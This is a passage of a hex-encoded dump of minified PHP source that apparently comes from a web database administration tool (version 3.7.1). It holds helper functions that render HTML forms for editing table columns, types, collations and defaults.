24 58 3D 22 26 6E 62 73 70 3B 22 3B 65 6C 73 65 7B 24 58 3D 68 28 24 58
29 3B 69 66 28 24 63 67 5B 24 79 5D 3D 3D 32 35 34 29 24 58 3D 22 3C 63
6F 64 65 3E 24 58 3C 2F 63 6F 64 65 3E 22 3B 7D 69 66 28 69 73 73 65 74
28 24 69 64 5B 24 79 5D 29 26 26 21 24 66 5B 24 69 64 5B 24 79 5D 5D 29
7B 69 66 28 24 45 63 29 7B 24 51 3D 24 4C 5B 61 72 72 61 79 5F 73 65 61
72 63 68 28 22 74 61 62 6C 65 3D 22 2C 24 69 64 29 5D 3B 24 5F 3D 24 69
64 5B 24 79 5D 2E 75 72 6C 65 6E 63 6F 64 65 28 24 59 64 5B 24 51 5D 21
3D 22 22 3F 24 59 64 5B 24 51 5D 3A 24 51 29 3B 7D 65 6C 73 65 7B 24 5F
3D 22 65 64 69 74 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 69 64 5B 24
79 5D 29 3B 66 6F 72 65 61 63 68 28 24 76 5B 24 69 64 5B 24 79 5D 5D 61
73 24 50 61 3D 3E 24 77 29 24 5F 2E 3D 22 26 77 68 65 72 65 22 2E 75 72
6C 65 6E 63 6F 64 65 28 22 5B 22 2E 62 72 61 63 6B 65 74 5F 65 73 63 61
70 65 28 24 50 61 29 2E 22 5D 22 29 2E 22 3D 22 2E 75 72 6C 65 6E 63 6F
64 65 28 24 4C 5B 24 77 5D 29 3B 7D 24 58 3D 22 3C 61 20 68 72 65 66 3D
27 22 2E 68 28 4D 45 2E 24 5F 29 2E 22 27 3E 24 58 3C 2F 61 3E 22 3B 7D
65 63 68 6F 22 3C 74 64 3E 24 58 22 3B 7D 7D 65 63 68 6F 28 24 73 3F 22
3C 2F 74 61 62 6C 65 3E 22 3A 22 3C 70 20 63 6C 61 73 73 3D 27 6D 65 73
73 61 67 65 27 3E 22 2E 27 4E 6F 20 72 6F 77 73 2E 27 29 2E 22 5C 6E 22
3B 72 65 74 75 72 6E 24 4B 3B 7D 66 75 6E 63 74 69 6F 6E 0A 72 65 66 65
72 65 6E 63 61 62 6C 65 5F 70 72 69 6D 61 72 79 28 24 64 66 29 7B 24 4B
3D 61 72 72 61 79 28 29 3B 66 6F 72 65 61 63 68 28 74 61 62 6C 65 5F 73
74 61 74 75 73 28 27 27 2C 74 72 75 65 29 61 73 24 7A 66 3D 3E 24 51 29
7B 69 66 28 24 7A 66 21 3D 24 64 66 26 26 66 6B 5F 73 75 70 70 6F 72 74
28 24 51 29 29 7B 66 6F 72 65 61 63 68 28 66 69 65 6C 64 73 28 24 7A 66
29 61 73 24 6D 29 7B 69 66 28 24 6D 5B 22 70 72 69 6D 61 72 79 22 5D 29
7B 69 66 28 24 4B 5B 24 7A 66 5D 29 7B 75 6E 73 65 74 28 24 4B 5B 24 7A
66 5D 29 3B 62 72 65 61 6B 3B 7D 24 4B 5B 24 7A 66 5D 3D 24 6D 3B 7D 7D
7D 7D 72 65 74 75 72 6E 24 4B 3B 7D 66 75 6E 63 74 69 6F 6E 0A 74 65 78
74 61 72 65 61 28 24 45 2C 24 59 2C 24 4D 3D 31 30 2C 24 53 61 3D 38 30
29 7B 65 63 68 6F 22 3C 74 65 78 74 61 72 65 61 20 6E 61 6D 65 3D 27 24
45 27 20 72 6F 77 73 3D 27 24 4D 27 20 63 6F 6C 73 3D 27 24 53 61 27 20
63 6C 61 73 73 3D 27 73 71 6C 61 72 65 61 27 20 73 70 65 6C 6C 63 68 65
63 6B 3D 27 66 61 6C 73 65 27 20 77 72 61 70 3D 27 6F 66 66 27 20 6F 6E
6B 65 79 64 6F 77 6E 3D 27 72 65 74 75 72 6E 20 74 65 78 74 61 72 65 61
4B 65 79 64 6F 77 6E 28 74 68 69 73 2C 20 65 76 65 6E 74 29 3B 27 3E 22
3B 69 66 28 69 73 5F 61 72 72 61 79 28 24 59 29 29 7B 66 6F 72 65 61 63
68 28 24 59 0A 61 73 24 58 29 65 63 68 6F 0A 68 28 24 58 5B 30 5D 29 2E
22 5C 6E 5C 6E 5C 6E 22 3B 7D 65 6C 73 65 0A 65 63 68 6F 0A 68 28 24 59
29 3B 65 63 68 6F 22 3C 2F 74 65 78 74 61 72 65 61 3E 22 3B 7D 66 75 6E
63 74 69 6F 6E 0A 65 64 69 74 5F 74 79 70 65 28 24 79 2C 24 6D 2C 24 64
2C 24 70 3D 61 72 72 61 79 28 29 29 7B 67 6C 6F 62 61 6C 24 72 66 2C 24
63 67 2C 24 6A 67 2C 24 4F 64 3B 65 63 68 6F 27 3C 74 64 3E 3C 73 65 6C
65 63 74 20 6E 61 6D 65 3D 22 27 2C 24 79 2C 27 5B 74 79 70 65 5D 22 20
63 6C 61 73 73 3D 22 74 79 70 65 22 20 6F 6E 66 6F 63 75 73 3D 22 6C 61
73 74 54 79 70 65 20 3D 20 73 65 6C 65 63 74 56 61 6C 75 65 28 74 68 69
73 29 3B 22 20 6F 6E 63 68 61 6E 67 65 3D 22 65 64 69 74 69 6E 67 54 79
70 65 43 68 61 6E 67 65 28 74 68 69 73 29 3B 22 3E 27 2C 6F 70 74 69 6F
6E 6C 69 73 74 28 28 21 24 6D 5B 22 74 79 70 65 22 5D 7C 7C 69 73 73 65
74 28 24 63 67 5B 24 6D 5B 22 74 79 70 65 22 5D 5D 29 3F 61 72 72 61 79
28 29 3A 61 72 72 61 79 28 24 6D 5B 22 74 79 70 65 22 5D 29 29 2B 24 72
66 2B 28 24 70 3F 61 72 72 61 79 28 27 46 6F 72 65 69 67 6E 20 6B 65 79
73 27 3D 3E 24 70 29 3A 61 72 72 61 79 28 29 29 2C 24 6D 5B 22 74 79 70
65 22 5D 29 2C 27 3C 2F 73 65 6C 65 63 74 3E 0A 3C 74 64 3E 3C 69 6E 70
75 74 20 6E 61 6D 65 3D 22 27 2C 24 79 2C 27 5B 6C 65 6E 67 74 68 5D 22
20 76 61 6C 75 65 3D 22 27 2C 68 28 24 6D 5B 22 6C 65 6E 67 74 68 22 5D
29 2C 27 22 20 73 69 7A 65 3D 22 33 22 20 6F 6E 66 6F 63 75 73 3D 22 65
64 69 74 69 6E 67 4C 65 6E 67 74 68 46 6F 63 75 73 28 74 68 69 73 29 3B
22 3E 3C 74 64 20 63 6C 61 73 73 3D 22 6F 70 74 69 6F 6E 73 22 3E 27 3B
65 63 68 6F 22 3C 73 65 6C 65 63 74 20 6E 61 6D 65 3D 27 24 79 22 2E 22
5B 63 6F 6C 6C 61 74 69 6F 6E 5D 27 22 2E 28 65 72 65 67 28 27 28 63 68
61 72 7C 74 65 78 74 7C 65 6E 75 6D 7C 73 65 74 29 24 27 2C 24 6D 5B 22
74 79 70 65 22 5D 29 3F 22 22 3A 22 20 63 6C 61 73 73 3D 27 68 69 64 64
65 6E 27 22 29 2E 27 3E 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 22 22
3E 28 27 2E 27 63 6F 6C 6C 61 74 69 6F 6E 27 2E 27 29 27 2E 6F 70 74 69
6F 6E 6C 69 73 74 28 24 64 2C 24 6D 5B 22 63 6F 6C 6C 61 74 69 6F 6E 22
5D 29 2E 27 3C 2F 73 65 6C 65 63 74 3E 27 2C 28 24 6A 67 3F 22 3C 73 65
6C 65 63 74 20 6E 61 6D 65 3D 27 24 79 22 2E 22 5B 75 6E 73 69 67 6E 65
64 5D 27 22 2E 28 21 24 6D 5B 22 74 79 70 65 22 5D 7C 7C 65 72 65 67 28
27 28 28 5E 7C 5B 5E 6F 5D 29 69 6E 74 7C 66 6C 6F 61 74 7C 64 6F 75 62
6C 65 7C 64 65 63 69 6D 61 6C 29 24 27 2C 24 6D 5B 22 74 79 70 65 22 5D
29 3F 22 22 3A 22 20 63 6C 61 73 73 3D 27 68 69 64 64 65 6E 27 22 29 2E
27 3E 3C 6F 70 74 69 6F 6E 3E 27 2E 6F 70 74 69 6F 6E 6C 69 73 74 28 24
6A 67 2C 24 6D 5B 22 75 6E 73 69 67 6E 65 64 22 5D 29 2E 27 3C 2F 73 65
6C 65 63 74 3E 27 3A 27 27 29 2C 28 69 73 73 65 74 28 24 6D 5B 27 6F 6E
5F 75 70 64 61 74 65 27 5D 29 3F 22 3C 73 65 6C 65 63 74 20 6E 61 6D 65
3D 27 24 79 22 2E 22 5B 6F 6E 5F 75 70 64 61 74 65 5D 27 22 2E 28 24 6D
5B 22 74 79 70 65 22 5D 3D 3D 22 74 69 6D 65 73 74 61 6D 70 22 3F 22 22
3A 22 20 63 6C 61 73 73 3D 27 68 69 64 64 65 6E 27 22 29 2E 27 3E 27 2E
6F 70 74 69 6F 6E 6C 69 73 74 28 61 72 72 61 79 28 22 22 3D 3E 22 28 22
2E 27 4F 4E 20 55 50 44 41 54 45 27 2E 22 29 22 2C 22 43 55 52 52 45 4E
54 5F 54 49 4D 45 53 54 41 4D 50 22 29 2C 24 6D 5B 22 6F 6E 5F 75 70 64
61 74 65 22 5D 29 2E 27 3C 2F 73 65 6C 65 63 74 3E 27 3A 27 27 29 2C 28
24 70 3F 22 3C 73 65 6C 65 63 74 20 6E 61 6D 65 3D 27 24 79 22 2E 22 5B
6F 6E 5F 64 65 6C 65 74 65 5D 27 22 2E 28 65 72 65 67 28 22 60 22 2C 24
6D 5B 22 74 79 70 65 22 5D 29 3F 22 22 3A 22 20 63 6C 61 73 73 3D 27 68
69 64 64 65 6E 27 22 29 2E 22 3E 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65
3D 27 27 3E 28 22 2E 27 4F 4E 20 44 45 4C 45 54 45 27 2E 22 29 22 2E 6F
70 74 69 6F 6E 6C 69 73 74 28 65 78 70 6C 6F 64 65 28 22 7C 22 2C 24 4F
64 29 2C 24 6D 5B 22 6F 6E 5F 64 65 6C 65 74 65 22 5D 29 2E 22 3C 2F 73
65 6C 65 63 74 3E 20 22 3A 22 20 22 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A
70 72 6F 63 65 73 73 5F 6C 65 6E 67 74 68 28 24 66 64 29 7B 67 6C 6F 62
61 6C 24 50 62 3B 72 65 74 75 72 6E 28 70 72 65 67 5F 6D 61 74 63 68 28
22 7E 5E 5C 5C 73 2A 28 3F 3A 24 50 62 29 28 3F 3A 5C 5C 73 2A 2C 5C 5C
73 2A 28 3F 3A 24 50 62 29 29 2A 5C 5C 73 2A 5C 24 7E 22 2C 24 66 64 29
26 26 70 72 65 67 5F 6D 61 74 63 68 5F 61 6C 6C 28 22 7E 24 50 62 7E 22
2C 24 66 64 2C 24 6C 64 29 3F 69 6D 70 6C 6F 64 65 28 22 2C 22 2C 24 6C
64 5B 30 5D 29 3A 70 72 65 67 5F 72 65 70 6C 61 63 65 28 27 7E 5B 5E 30
2D 39 2C 2B 2D 5D 7E 27 2C 27 27 2C 24 66 64 29 29 3B 7D 66 75 6E 63 74
69 6F 6E 0A 70 72 6F 63 65 73 73 5F 74 79 70 65 28 24 6D 2C 24 51 61 3D
22 43 4F 4C 4C 41 54 45 22 29 7B 67 6C 6F 62 61 6C 24 6A 67 3B 72 65 74
75 72 6E 22 20 24 6D 5B 74 79 70 65 5D 22 2E 28 24 6D 5B 22 6C 65 6E 67
74 68 22 5D 21 3D 22 22 3F 22 28 22 2E 70 72 6F 63 65 73 73 5F 6C 65 6E
67 74 68 28 24 6D 5B 22 6C 65 6E 67 74 68 22 5D 29 2E 22 29 22 3A 22 22
29 2E 28 65 72 65 67 28 27 28 5E 7C 5B 5E 6F 5D 29 69 6E 74 7C 66 6C 6F
61 74 7C 64 6F 75 62 6C 65 7C 64 65 63 69 6D 61 6C 27 2C 24 6D 5B 22 74
79 70 65 22 5D 29 26 26 69 6E 5F 61 72 72 61 79 28 24 6D 5B 22 75 6E 73
69 67 6E 65 64 22 5D 2C 24 6A 67 29 3F 22 20 24 6D 5B 75 6E 73 69 67 6E
65 64 5D 22 3A 22 22 29 2E 28 65 72 65 67 28 27 63 68 61 72 7C 74 65 78
74 7C 65 6E 75 6D 7C 73 65 74 27 2C 24 6D 5B 22 74 79 70 65 22 5D 29 26
26 24 6D 5B 22 63 6F 6C 6C 61 74 69 6F 6E 22 5D 3F 22 20 24 51 61 20 22
2E 71 28 24 6D 5B 22 63 6F 6C 6C 61 74 69 6F 6E 22 5D 29 3A 22 22 29 3B
7D 66 75 6E 63 74 69 6F 6E 0A 70 72 6F 63 65 73 73 5F 66 69 65 6C 64 28
24 6D 2C 24 61 67 29 7B 72 65 74 75 72 6E 0A 61 72 72 61 79 28 69 64 66
5F 65 73 63 61 70 65 28 74 72 69 6D 28 24 6D 5B 22 66 69 65 6C 64 22 5D
29 29 2C 70 72 6F 63 65 73 73 5F 74 79 70 65 28 24 61 67 29 2C 28 24 6D
5B 22 6E 75 6C 6C 22 5D 3F 22 20 4E 55 4C 4C 22 3A 22 20 4E 4F 54 20 4E
55 4C 4C 22 29 2C 28 69 73 73 65 74 28 24 6D 5B 22 64 65 66 61 75 6C 74
22 5D 29 3F 22 20 44 45 46 41 55 4C 54 20 22 2E 28 28 65 72 65 67 28 22
74 69 6D 65 22 2C 24 6D 5B 22 74 79 70 65 22 5D 29 26 26 65 72 65 67 69
28 27 5E 43 55 52 52 45 4E 54 5F 54 49 4D 45 53 54 41 4D 50 24 27 2C 24
6D 5B 22 64 65 66 61 75 6C 74 22 5D 29 29 7C 7C 28 24 6D 5B 22 74 79 70
65 22 5D 3D 3D 22 62 69 74 22 26 26 65 72 65 67 28 22 5E 28 5B 30 2D 39
5D 2B 7C 62 27 5B 30 2D 31 5D 2B 27 29 5C 24 22 2C 24 6D 5B 22 64 65 66
61 75 6C 74 22 5D 29 29 3F 24 6D 5B 22 64 65 66 61 75 6C 74 22 5D 3A 71
28 24 6D 5B 22 64 65 66 61 75 6C 74 22 5D 29 29 3A 22 22 29 2C 28 24 6D
5B 22 74 79 70 65 22 5D 3D 3D 22 74 69 6D 65 73 74 61 6D 70 22 26 26 24
6D 5B 22 6F 6E 5F 75 70 64 61 74 65 22 5D 3F 22 20 4F 4E 20 55 50 44 41
54 45 20 24 6D 5B 6F 6E 5F 75 70 64 61 74 65 5D 22 3A 22 22 29 2C 28 73
75 70 70 6F 72 74 28 22 63 6F 6D 6D 65 6E 74 22 29 26 26 24 6D 5B 22 63
6F 6D 6D 65 6E 74 22 5D 21 3D 22 22 3F 22 20 43 4F 4D 4D 45 4E 54 20 22
2E 71 28 24 6D 5B 22 63 6F 6D 6D 65 6E 74 22 5D 29 3A 22 22 29 2C 28 24
6D 5B 22 61 75 74 6F 5F 69 6E 63 72 65 6D 65 6E 74 22 5D 3F 61 75 74 6F
5F 69 6E 63 72 65 6D 65 6E 74 28 29 3A 6E 75 6C 6C 29 2C 29 3B 7D 66 75
6E 63 74 69 6F 6E 0A 74 79 70 65 5F 63 6C 61 73 73 28 24 55 29 7B 66 6F
72 65 61 63 68 28 61 72 72 61 79 28 27 63 68 61 72 27 3D 3E 27 74 65 78
74 27 2C 27 64 61 74 65 27 3D 3E 27 74 69 6D 65 7C 79 65 61 72 27 2C 27
62 69 6E 61 72 79 27 3D 3E 27 62 6C 6F 62 27 2C 27 65 6E 75 6D 27 3D 3E
27 73 65 74 27 2C 29 61 73 24 79 3D 3E 24 58 29 7B 69 66 28 65 72 65 67
28 22 24 79 7C 24 58 22 2C 24 55 29 29 72 65 74 75 72 6E 22 20 63 6C 61
73 73 3D 27 24 79 27 22 3B 7D 7D 66 75 6E 63 74 69 6F 6E 0A 65 64 69 74
5F 66 69 65 6C 64 73 28 24 6E 2C 24 64 2C 24 55 3D 22 54 41 42 4C 45 22
2C 24 70 3D 61 72 72 61 79 28 29 2C 24 57 61 3D 66 61 6C 73 65 29 7B 67
6C 6F 62 61 6C 24 67 2C 24 4C 63 3B 65 63 68 6F 27 3C 74 68 65 61 64 3E
3C 74 72 20 63 6C 61 73 73 3D 22 77 72 61 70 22 3E 0A 27 3B 69 66 28 24
55 3D 3D 22 50 52 4F 43 45 44 55 52 45 22 29 7B 65 63 68 6F 27 3C 74 64
3E 26 6E 62 73 70 3B 27 3B 7D 65 63 68 6F 27 3C 74 68 3E 27 2C 28 24 55
3D 3D 22 54 41 42 4C 45 22 3F 27 43 6F 6C 75 6D 6E 20 6E 61 6D 65 27 3A
27 50 61 72 61 6D 65 74 65 72 20 6E 61 6D 65 27 29 2C 27 3C 74 64 3E 54
79 70 65 3C 74 65 78 74 61 72 65 61 20 69 64 3D 22 65 6E 75 6D 2D 65 64
69 74 22 20 72 6F 77 73 3D 22 34 22 20 63 6F 6C 73 3D 22 31 32 22 20 77
72 61 70 3D 22 6F 66 66 22 20 73 74 79 6C 65 3D 22 64 69 73 70 6C 61 79
3A 20 6E 6F 6E 65 3B 22 20 6F 6E 62 6C 75 72 3D 22 65 64 69 74 69 6E 67
4C 65 6E 67 74 68 42 6C 75 72 28 74 68 69 73 29 3B 22 3E 3C 2F 74 65 78
74 61 72 65 61 3E 0A 3C 74 64 3E 4C 65 6E 67 74 68 0A 3C 74 64 3E 4F 70
74 69 6F 6E 73 0A 27 3B 69 66 28 24 55 3D 3D 22 54 41 42 4C 45 22 29 7B
65 63 68 6F 27 3C 74 64 3E 4E 55 4C 4C 0A 3C 74 64 3E 3C 69 6E 70 75 74
20 74 79 70 65 3D 22 72 61 64 69 6F 22 20 6E 61 6D 65 3D 22 61 75 74 6F
5F 69 6E 63 72 65 6D 65 6E 74 5F 63 6F 6C 22 20 76 61 6C 75 65 3D 22 22
3E 3C 61 63 72 6F 6E 79 6D 20 74 69 74 6C 65 3D 22 41 75 74 6F 20 49 6E
63 72 65 6D 65 6E 74 22 3E 41 49 3C 2F 61 63 72 6F 6E 79 6D 3E 0A 3C 74
64 3E 44 65 66 61 75 6C 74 20 76 61 6C 75 65 73 0A 27 2C 28 73 75 70 70
6F 72 74 28 22 63 6F 6D 6D 65 6E 74 22 29 3F 22 3C 74 64 22 2E 28 24 57
61 3F 22 22 3A 22 20 63 6C 61 73 73 3D 27 68 69 64 64 65 6E 27 22 29 2E
22 3E 22 2E 27 43 6F 6D 6D 65 6E 74 27 3A 22 22 29 3B 7D 65 63 68 6F 27
3C 74 64 3E 27 2C 22 3C 69 6E 70 75 74 20 74 79 70 65 3D 27 69 6D 61 67
65 27 20 63 6C 61 73 73 3D 27 69 63 6F 6E 27 20 6E 61 6D 65 3D 27 61 64
64 5B 22 2E 28 73 75 70 70 6F 72 74 28 22 6D 6F 76 65 5F 63 6F 6C 22 29
3F 30 3A 63 6F 75 6E 74 28 24 6E 29 29 2E 22 5D 27 20 73 72 63 3D 27 22
2E 68 28 70 72 65 67 5F 72 65 70 6C 61 63 65 28 22 7E 5C 5C 3F 2E 2A 7E
22 2C 22 22 2C 4D 45 29 29 2E 22 3F 66 69 6C 65 3D 70 6C 75 73 2E 67 69
66 26 61 6D 70 3B 76 65 72 73 69 6F 6E 3D 33 2E 37 2E 31 27 20 61 6C 74
3D 27 2B 27 20 74 69 74 6C 65 3D 27 22 2E 27 41 64 64 20 6E 65 78 74 27
2E 22 27 3E 22 2C 27 3C 73 63 72 69 70 74 20 74 79 70 65 3D 22 74 65 78
74 2F 6A 61 76 61 73 63 72 69 70 74 22 3E 72 6F 77 5F 63 6F 75 6E 74 20
3D 20 27 2C 63 6F 75 6E 74 28 24 6E 29 2C 27 3B 3C 2F 73 63 72 69 70 74
3E 0A 3C 2F 74 68 65 61 64 3E 0A 3C 74 62 6F 64 79 20 6F 6E 6B 65 79 64
6F 77 6E 3D 22 72 65 74 75 72 6E 20 65 64 69 74 69 6E 67 4B 65 79 64 6F
77 6E 28 65 76 65 6E 74 29 3B 22 3E 0A 27 3B 66 6F 72 65 61 63 68 28 24
6E 0A 61 73 24 73 3D 3E 24 6D 29 7B 24 73 2B 2B 3B 24 5A 64 3D 24 6D 5B
28 24 5F 50 4F 53 54 3F 22 6F 72 69 67 22 3A 22 66 69 65 6C 64 22 29 5D
3B 24 77 62 3D 28 69 73 73 65 74 28 24 5F 50 4F 53 54 5B 22 61 64 64 22
5D 5B 24 73 2D 31 5D 29 7C 7C 28 69 73 73 65 74 28 24 6D 5B 22 66 69 65
6C 64 22 5D 29 26 26 21 24 5F 50 4F 53 54 5B 22 64 72 6F 70 5F 63 6F 6C
22 5D 5B 24 73 5D 29 29 26 26 28 73 75 70 70 6F 72 74 28 22 64 72 6F 70
5F 63 6F 6C 22 29 7C 7C 24 5A 64 3D 3D 22 22 29 3B 65 63 68 6F 27 3C 74
72 27 2C 28 24 77 62 3F 22 22 3A 22 20 73 74 79 6C 65 3D 27 64 69 73 70
6C 61 79 3A 20 6E 6F 6E 65 3B 27 22 29 2C 27 3E 0A 27 2C 28 24 55 3D 3D
22 50 52 4F 43 45 44 55 52 45 22 3F 22 3C 74 64 3E 22 2E 68 74 6D 6C 5F
73 65 6C 65 63 74 28 22 66 69 65 6C 64 73 5B 24 73 5D 5B 69 6E 6F 75 74
5D 22 2C 65 78 70 6C 6F 64 65 28 22 7C 22 2C 24 4C 63 29 2C 24 6D 5B 22
69 6E 6F 75 74 22 5D 29 3A 22 22 29 2C 27 3C 74 68 3E 27 3B 69 66 28 24
77 62 29 7B 65 63 68 6F 27 3C 69 6E 70 75 74 20 6E 61 6D 65 3D 22 66 69
65 6C 64 73 5B 27 2C 24 73 2C 27 5D 5B 66 69 65 6C 64 5D 22 20 76 61 6C
75 65 3D 22 27 2C 68 28 24 6D 5B 22 66 69 65 6C 64 22 5D 29 2C 27 22 20
6F 6E 63 68 61 6E 67 65 3D 22 27 2C 28 24 6D 5B 22 66 69 65 6C 64 22 5D
21 3D 22 22 7C 7C 63 6F 75 6E 74 28 24 6E 29 3E 31 3F 22 22 3A 22 65 64
69 74 69 6E 67 41 64 64 52 6F 77 28 74 68 69 73 29 3B 20 22 29 2C 27 65
64 69 74 69 6E 67 4E 61 6D 65 43 68 61 6E 67 65 28 74 68 69 73 29 3B 22
20 6D 61 78 6C 65 6E 67 74 68 3D 22 36 34 22 20 61 75 74 6F 63 61 70 69
74 61 6C 69 7A 65 3D 22 6F 66 66 22 3E 27 3B 7D 65 63 68 6F 27 3C 69 6E
70 75 74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22
66 69 65 6C 64 73 5B 27 2C 24 73 2C 27 5D 5B 6F 72 69 67 5D 22 20 76 61
6C 75 65 3D 22 27 2C 68 28 24 5A 64 29 2C 27 22 3E 0A 27 3B 65 64 69 74
5F 74 79 70 65 28 22 66 69 65 6C 64 73 5B 24 73 5D 22 2C 24 6D 2C 24 64
2C 24 70 29 3B 69 66 28 24 55 3D 3D 22 54 41 42 4C 45 22 29 7B 65 63 68
6F 27 3C 74 64 3E 27 2C 63 68 65 63 6B 62 6F 78 28 22 66 69 65 6C 64 73
5B 24 73 5D 5B 6E 75 6C 6C 5D 22 2C 31 2C 24 6D 5B 22 6E 75 6C 6C 22 5D
2C 22 22 2C 22 22 2C 22 62 6C 6F 63 6B 22 29 2C 27 3C 74 64 3E 3C 6C 61
62 65 6C 20 63 6C 61 73 73 3D 22 62 6C 6F 63 6B 22 3E 3C 69 6E 70 75 74
20 74 79 70 65 3D 22 72 61 64 69 6F 22 20 6E 61 6D 65 3D 22 61 75 74 6F
5F 69 6E 63 72 65 6D 65 6E 74 5F 63 6F 6C 22 20 76 61 6C 75 65 3D 22 27
2C 24 73 2C 27 22 27 3B 69 66 28 24 6D 5B 22 61 75 74 6F 5F 69 6E 63 72
65 6D 65 6E 74 22 5D 29 7B 65 63 68 6F 27 20 63 68 65 63 6B 65 64 27 3B
7D 3F 3E 20 6F 6E 63 6C 69 63 6B 3D 22 76 61 72 20 66 69 65 6C 64 20 3D
20 74 68 69 73 2E 66 6F 72 6D 5B 27 66 69 65 6C 64 73 5B 27 20 2B 20 74
68 69 73 2E 76 61 6C 75 65 20 2B 20 27 5D 5B 66 69 65 6C 64 5D 27 5D 3B
20 69 66 20 28 21 66 69 65 6C 64 2E 76 61 6C 75 65 29 20 7B 20 66 69 65
6C 64 2E 76 61 6C 75 65 20 3D 20 27 69 64 27 3B 20 66 69 65 6C 64 2E 6F
6E 63 68 61 6E 67 65 28 29 3B 20 7D 22 3E 3C 2F 6C 61 62 65 6C 3E 3C 74
64 3E 3C 3F 70 68 70 0A 65 63 68 6F 0A 63 68 65 63 6B 62 6F 78 28 22 66
69 65 6C 64 73 5B 24 73 5D 5B 68 61 73 5F 64 65 66 61 75 6C 74 5D 22 2C
31 2C 24 6D 5B 22 68 61 73 5F 64 65 66 61 75 6C 74 22 5D 29 2C 27 3C 69
6E 70 75 74 20 6E 61 6D 65 3D 22 66 69 65 6C 64 73 5B 27 2C 24 73 2C 27
5D 5B 64 65 66 61 75 6C 74 5D 22 20 76 61 6C 75 65 3D 22 27 2C 68 28 24
6D 5B 22 64 65 66 61 75 6C 74 22 5D 29 2C 27 22 20 6F 6E 63 68 61 6E 67
65 3D 22 74 68 69 73 2E 70 72 65 76 69 6F 75 73 53 69 62 6C 69 6E 67 2E
63 68 65 63 6B 65 64 20 3D 20 74 72 75 65 3B 22 3E 0A 27 2C 28 73 75 70
70 6F 72 74 28 22 63 6F 6D 6D 65 6E 74 22 29 3F 22 3C 74 64 22 2E 28 24
57 61 3F 22 22 3A 22 20 63 6C 61 73 73 3D 27 68 69 64 64 65 6E 27 22 29
2E 22 3E 3C 69 6E 70 75 74 20 6E 61 6D 65 3D 27 66 69 65 6C 64 73 5B 24
73 5D 5B 63 6F 6D 6D 65 6E 74 5D 27 20 76 61 6C 75 65 3D 27 22 2E 68 28
24 6D 5B 22 63 6F 6D 6D 65 6E 74 22 5D 29 2E 22 27 20 6D 61 78 6C 65 6E
67 74 68 3D 27 22 2E 28 24 67 2D 3E 73 65 72 76 65 72 5F 69 6E 66 6F 3E
3D 35 2E 35 3F 31 30 32 34 3A 32 35 35 29 2E 22 27 3E 22 3A 22 22 29 3B
7D 65 63 68 6F 22 3C 74 64 3E 22 2C 28 73 75 70 70 6F 72 74 28 22 6D 6F
76 65 5F 63 6F 6C 22 29 3F 22 3C 69 6E 70 75 74 20 74 79 70 65 3D 27 69
6D 61 67 65 27 20 63 6C 61 73 73 3D 27 69 63 6F 6E 27 20 6E 61 6D 65 3D
27 61 64 64 5B 24 73 5D 27 20 73 72 63 3D 27 22 2E 68 28 70 72 65 67 5F
72 65 70 6C 61 63 65 28 22 7E 5C 5C 3F 2E 2A 7E 22 2C 22 22 2C 4D 45 29
29 2E 22 3F 66 69 6C 65 3D 70 6C 75 73 2E 67 69 66 26 61 6D 70 3B 76 65
72 73 69 6F 6E 3D 33 2E 37 2E 31 27 20 61 6C 74 3D 27 2B 27 20 74 69 74
6C 65 3D 27 22 2E 27 41 64 64 20 6E 65 78 74 27 2E 22 27 20 6F 6E 63 6C
69 63 6B 3D 27 72 65 74 75 72 6E 20 21 65 64 69 74 69 6E 67 41 64 64 52
6F 77 28 74 68 69 73 2C 20 31 29 3B 27 3E 26 6E 62 73 70 3B 22 2E 22 3C
69 6E 70 75 74 20 74 79 70 65 3D 27 69 6D 61 67 65 27 20 63 6C 61 73 73
3D 27 69 63 6F 6E 27 20 6E 61 6D 65 3D 27 75 70 5B 24 73 5D 27 20 73 72
63 3D 27 22 2E 68 28 70 72 65 67 5F 72 65 70 6C 61 63 65 28 22 7E 5C 5C
3F 2E 2A 7E 22 2C 22 22 2C 4D 45 29 29 2E 22 3F 66 69 6C 65 3D 75 70 2E
67 69 66 26 61 6D 70 3B 76 65 72 73 69 6F 6E 3D 33 2E 37 2E 31 27 20 61
6C 74 3D 27 5E 27 20 74 69 74 6C 65 3D 27 22 2E 27 4D 6F 76 65 20 75 70
27 2E 22 27 3E 26 6E 62 73 70 3B 22 2E 22 3C 69 6E 70 75 74 20 74 79 70
65 3D 27 69 6D 61 67 65 27 20 63 6C 61 73 73 3D 27 69 63 6F 6E 27 20 6E
61 6D 65 3D 27 64 6F 77 6E 5B 24 73 5D 27 20 73 72 63 3D 27 22 2E 68 28
70 72 65 67 5F 72 65 70 6C 61 63 65 28 22 7E 5C 5C 3F 2E 2A 7E 22 2C 22
22 2C 4D 45 29 29 2E 22 3F 66 69 6C 65 3D 64 6F 77 6E 2E 67 69 66 26 61
6D 70 3B 76 65 72 73 69 6F 6E 3D 33 2E 37 2E 31 27 20 61 6C 74 3D 27 76
27 20 74 69 74 6C 65 3D 27 22 2E 27 4D 6F 76 65 20 64 6F 77 6E 27 2E 22
27 3E 26 6E 62 73 70 3B 22 3A 22 22 29 2C 28 24 5A 64 3D 3D 22 22 7C 7C
73 75 70 70 6F 72 74 28 22 64 72 6F 70 5F 63 6F 6C 22 29 3F 22 3C 69 6E
70 75 74 20 74 79 70 65 3D 27 69 6D 61 67 65 27 20 63 6C 61 73 73 3D 27
69 63 6F 6E 27 20 6E 61 6D 65 3D 27 64 72 6F 70 5F 63 6F 6C 5B 24 73 5D
27 20 73 72 63 3D 27 22 2E 68 28 70 72 65 67 5F 72 65 70 6C 61 63 65 28
22 7E 5C 5C 3F 2E 2A 7E 22 2C 22 22 2C 4D 45 29 29 2E 22 3F 66 69 6C 65
3D 63 72 6F 73 73 2E 67 69 66 26 61 6D 70 3B 76 65 72 73 69 6F 6E 3D 33
2E 37 2E 31 27 20 61 6C 74 3D 27 78 27 20 74 69 74 6C 65 3D 27 22 2E 27
52 65 6D 6F 76 65 27 2E 22 27 20 6F 6E 63 6C 69 63 6B 3D 27 72 65 74 75
72 6E 20 21 65 64 69 74 69 6E 67 52 65 6D 6F 76 65 52 6F 77 28 74 68 69
73 29 3B 27 3E 22 3A 22 22 29 2C 22 5C 6E 22 3B 7D 7D 66 75 6E 63 74 69
